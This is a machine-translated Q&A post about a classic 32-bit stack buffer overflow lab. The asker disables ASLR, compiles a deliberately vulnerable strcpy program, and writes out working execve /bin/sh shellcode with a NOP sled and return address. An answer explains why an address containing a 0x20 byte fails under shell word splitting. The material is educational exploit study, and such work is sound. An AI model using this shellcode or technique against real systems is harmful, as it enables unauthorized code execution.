为什么需要使用精确的 return 地址来执行 shellcode?

Why is there the need to use a precise return address for shellcode execution?

我试图理解为什么为了成功执行我的 shellcode 负载,我需要在堆栈中使用特定的 return 地址。

如果我使用仍在堆栈中的不同地址,我会得到 SIGSEGV segmentation faultSIGILL illegal instruction


首先,我通过这样做在 OS 上停用了 ASLR :

echo 0 > /proc/sys/kernel/randomize_va_space

这是我易受攻击的 C 代码:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void func (char *arg) {
  char buffer[64];
  strcpy(buffer, arg);
  printf("%s\n", buffer);
}

int main(int argc, char *argv[])
{
  func(argv[1]);
  return 0;
}

我在 64 位机器上使用 gcc 将其编译为 32 位,并使用以下行:

gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector

因此,我有一个可执行堆栈,因此 shellcode 是可执行的,也没有堆栈保护器来允许堆栈粉碎


这是我的 shellcode(NOP|shellcode-payload|return-地址):

"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"

我使用 Python2 将此 shellcode 作为 buffer 二进制文件的输入提供给 gdb,如下所示:

gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')

通过在 gdb 中放置一个 break func,我可以打印以下字节,显示一些堆栈。

如果我在 shellcode 末尾放置不在范围内的任何 return 地址:0xffffd521-0xffffd539。我得到 SIGSEGVSIGILL 为什么会这样?

例如,0xffffd520 是堆栈中的有效地址,为什么它不起作用?

这与您的程序或您的 shell 代码没有任何关系,但与您 运行 它的方式有关。 shell 中的 $(...) 将其结果拆分为白色 space 处的多个参数,因此如果 python 的输出包含白色 space 字节,则 argv[1] 将仅获取第一个此类字节之前的有效负载部分。地址 0xffffd520 具有 0x20、space 作为其字节之一,因此这将导致 argv[1] 包含有效负载的截断版本,特别是不会'根本不包含正确的 return 地址,因此崩溃。

您应该使用引号将整个输出强制为单个参数:"$(python2 ... )"